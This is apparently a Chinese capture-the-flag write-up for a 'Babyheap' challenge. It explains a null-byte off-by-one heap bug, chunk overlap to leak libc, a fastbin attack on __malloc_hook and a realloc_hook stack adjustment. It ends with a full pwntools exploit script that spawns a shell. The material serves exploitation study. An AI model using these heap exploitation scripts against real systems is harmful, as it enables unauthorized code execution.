0%

Babyheap

首先,检查一下程序的保护机制,保护全开

然后用IDA分析,发现在创建并读入数据时,有一个null off by one漏洞

我们所能利用的也就是这个漏洞

第一步仍然是想办法泄露一些关键地址

由于可以溢出一字节的0数据到下一个chunk,以前,我们阅读glibc内存管理,知道了**chunk空间的共用情况,也就是[下一个的chunk的prev_size域给当前chunk当做数据域使用]{.mark},这种情况只出现在malloc的大小为8的奇数倍(32为4的奇数倍)的情况。考虑到unsorted bin的表头会有libc中的[main_arena+88的地址,]{.mark}**因此我们首先肯定得创建一些unsorted bin。

现在,假如我们创建了几个堆

1
2
3
4
5
6
7
8
9
10
#chunk0  
create(0x100,'a'*0x100)
#chunk1
create(0x100,'b'*0x100)
#chunk2
create(0x68,'c'*0x68)
#chunk3
create(0x68,'d'*0x68)
#chunk4
create(0x100,'e'*0x100)

堆布局如下

其中,chunk0、chunk1、chunk4大小在unsorted bin范围,当他们free后就进入了unsorted bin,并且相邻的chunk会进行unlink合并。既然能够溢出一字节0数据,那么**[假如我们从chunk3中溢出,覆盖chunk4的size域的低一字节为0,那么就标志了chunk4的前一chunk处于空闲状态]{.mark},那么,[当我们free chunk4的时候,chunk4就会与它的前一chunk合并]{.mark}**,而它的前一chunk是如何取到的呢,看看glibc源码

1
2
/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */  
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))

也就是依赖于prev_size,由于chunk3的大小为0x68,是8的奇数倍,因此它会把chunk4的prev_size域作为数据域,因此,prev_size我们可以自己指定大小

假如,我们在chunk3中,[把chunk4的prev_size设置为(0x110+0x110+0x70+0x70 = 0x300),然后覆盖chunk4的size低1字节为0]{.mark},那么,当我们delete(4)时,就会合并chunk4和chunk4-0x300处的chunk,也就是会合并chunk0、chunk1、chunk2、chunk3、chunk4

由于**[没有编辑功能,我们只能delete(3)后再重新create分配到那个位置,同时构造payload溢出到chunk4]{.mark}**

由于合并时,unlink会报错,因此,我们在事先,应该delete(0),让chunk0加入unsorted bin中。delete(2)用于将chunk2放入fastbin,供后续fastbin attack使用,[注意,必需在合并chunk0、chunk1、chunk2、chunk3、chunk4之前让chunk2加入fastbin]{.mark},合并后再delete(2)不能让chunk2加入到fastbin中

1
2
3
4
5
6
7
8
9
10
11
12
#chunk2用于放入fastbin  
delete(2)
#chunk3用于溢出
delete(3)
#chunk0用于加入unsorted bin,并且让main_arena+88指针存入fd和bk
delete(0)

#把chunk3申请回来,并off by one null到chunk4,覆盖chunk4的低1字节为0
payload = 'e'*0x60
#prev_size
payload += p64(0x300)
create(0x68,payload)

现在堆的布局是这样子的

接下来,我们delete(4),chunk0~chunk4发生合并,合并后chunk0作为unsorted bin表头fd、bk值仍然指向main_arena+88

然而,当我们实际操作时,delete(4)时出现了报错

我们看看glibc源码

还记得chunk4的size被我们覆盖成了0x100吗,原本是0x111的,也就是说,[现在取到的nextsize是chunk4数据域里偏移0x90+8处的数据,而不是下一个chunk的size,]{.mark}

为了避免后续的其他类似的错误,我们把chunk4留下的那(0x110-0x100=0x10的空间伪装成一个chunk5)

所以,在一开始创建chunk4的应该应该这样写

1
2
#chunk4的创建,后0x10空间用于伪装出一个假chunk5  
create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))

现在,我们再查看堆的布局情况(pwndbg attach 到pid上,然后输入bin命令)

现在发现,fastbin里的那个就是我们的chunk2,待会fastbin attack用到

而unsorted bin里就一个节点(chunk0),中间那个是main_arena+88,它们组成了双向链表

现在,假如我们create(0x100),那么glibc就会从unsorted bin中的表头(chunk0)处开始,切割出0x110的空间给我们,然后表头变成了chunk0+0x110

并且chunk0+0x110处开始作为一个chunk,[它的fd和bk会被设置为main_arena+88]{.mark}

但是,你发现了什么,chunk0 + 0x110不就是chunk1吗,还记得[chunk1并没有被我们free,它只是参与了合并,]{.mark}因此它的指针存在于数组中,并没有被清0

那么,当我们show()的时候,就会把chunk1的fd值打印出来,从而泄露了main_arena+88的地址

[由于main_arena+88和malloc_hook物理位置上在同一页,并且靠的很近,因此,它们的地址只有后三位不一样]{.mark},那么我们就能计算出malloc_hook的地址,然后就能计算出libc基地址,从而获取gadget的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#申请掉chunk0后,main_area+88指针放到了chunk1的fd和bk处  
create(0x100,'a'*0x100)

show()

sh.recvuntil('1 : ')

main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))
#低字节覆盖获得malloc_hook的地址
malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)
libc_base = malloc_hook_addr - malloc_s_hook
realloc_addr = libc_base + realloc_s
gadget_addr = libc_base + gadget
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'realloc_addr=',hex(realloc_addr)
print 'gadget_addr=',hex(gadget_addr)

现在一些需要的信息我们都得到了,我们接下来是想办法把gadget的地址写入到malloc_hook里,这样当程序再次malloc时,便会触发gadget,从而get shell

现在我们用fastbin attack,fastbin attack能让我们把堆申请到malloc_hook-0x23处,知道我们的chunk2为什么申请时设置为0x68的大小吗,因为实际创建的大小是0x70,而malloc_hook-0x23处偏移0x8处的数据为0x7F,与0x70大小相当

fastbin只检查chunk的size域是否符合要求,因此,我们的chunk2的size要与它大小相当,这样,我们想办法把chunk2的fd指向malloc_hook-0x23这个假chunk处,这样,chunk2和malloc_hook-0x23处构成了单向链表当我们第二次申请0x68大小的堆时,就会申请到malloc_hook-0x23处,更多详细知识见我的博客https://blog.csdn.net/seaaseesa/article/details/103057937

那么如何才能修改到chunk2的fd域呢?

我们可以利用**[堆重叠]{.mark}**

假如我们create(0x118,payload),由于之前已经create(0x100)过一次,那么这次chunk分配的范围就是chunk0 + 0x110 ~ chunk0+0x110+0x128也就是chunk1~chunk2+0x18处,正好可以把chunk2的fd给覆盖了,如果觉得麻烦,直接申请大点,不用这么精确

1
2
3
4
5
6
#现在用fastbin attack  
#堆重叠,修改chunk2的fd指针
payload = 'g'*0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook_addr-0x23)
create(0x118,payload)

现在,我们再看看堆的布局

malloc_hook-0x23处成功链入fastbin,那么当我们第二次申请0x68大小空间时就能申请到这里

1
2
3
4
5
6
7
#第一次申请  
create(0x68,'h'*0x68)
#修改malloc_hook
payload = '\x00' * 0x13 + p64(gadget_addr)
payload += '\n'
#第二次申请
create(0x68,payload)

这样,看似已经可以了,我们只需再触发一次malloc,即可getshell

1
2
3
#触发malloc_hook getshell  
sh.sendlineafter('Your choice :\n','1')
sh.sendlineafter('Size:','1')'''

然而,gadget变得不可用,执行不成功

[以下两段来自看雪论坛]{.mark}https://bbs.pediy.com/thread-246786.htm

[有些情况下one_gadget因为栈环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。]{.mark}

如何利用realloc_hook来调整栈环境呢?

观察realloc函数的流程push寄存器,最后全部pop出来跳转至realloc_hook的值。

[因此可以将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。]{.mark}

经过测试,我们只需在realloc函数地址向下偏移2就可以使栈环境正常

于是,我们修改后的代码

1
2
3
4
5
6
7
#修改realloc_hook和malloc_hook  
payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)
#用于堆栈调整
payload += p64(realloc_addr + 2)
payload += '\n'
#第二次申请
create(0x68,payload)

最终,我们写出了如下的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#coding:utf8  
from pwn import *
from one_gadget import *

context.log_level = 'debug'
sh = process('./timu')
#sh = remote('111.198.29.45',57745)
libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libc_path)
#malloc_hook的静态地址
malloc_s_hook = libc.symbols['__malloc_hook']
#realloc函数的静态地址
realloc_s = libc.sym['realloc']
#gadger
g = generate_one_gadget(libc_path)
gadget = g.next()

#sh = remote('111.198.29.45',41803)

def create(size,content):
sh.sendlineafter('Your choice :\n','1')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Data:',content)

def delete(index):
sh.sendlineafter('Your choice :\n','2')
sh.sendlineafter('Index:',str(index))

def show():
sh.sendlineafter('Your choice :\n','3')


#chunk0
create(0x100,'a'*0x100)
#chunk1
create(0x100,'b'*0x100)
#chunk2
create(0x68,'c'*0x68)
#chunk3
create(0x68,'d'*0x68)
#chunk4
#特别!!chunk4后面0x10空间用于伪装假chunk5
create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))

#chunk2用于放入fastbin
delete(2)
#chunk3用于溢出
delete(3)
#chunk0用于加入unsorted bin,并且让main_arena+88指针存入fd和bk
delete(0)

#把chunk3申请回来,并off by one null到chunk4,覆盖chunk4的低1字节为0
payload = 'e'*0x60
#prev_size
payload += p64(0x300)
create(0x68,payload)
#0、1、2、3、4堆块合并
delete(4)

#申请掉chunk0后,main_area+88指针放到了chunk1的fd和bk处
create(0x100,'a'*0x100)
show()
sh.recvuntil('1 : ')

main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))
#低字节替换获得malloc_hook的地址
malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)
libc_base = malloc_hook_addr - malloc_s_hook
realloc_addr = libc_base + realloc_s
gadget_addr = libc_base + gadget
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'realloc_addr=',hex(realloc_addr)
print 'gadget_addr=',hex(gadget_addr)


#现在用fastbin attack
#堆重叠,修改chunk2的fd指针
payload = 'g'*0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook_addr-0x23)
create(0x118,payload)

#第一次申请
create(0x68,'h'*0x68)
#修改realloc_hook和malloc_hook
payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)
#用于堆栈调整
payload += p64(realloc_addr + 2)
payload += '\n'
#第二次申请
create(0x68,payload)
#触发malloc_hook getshell
sh.sendlineafter('Your choice :\n','1')
sh.sendlineafter('Size:','1')

sh.interactive()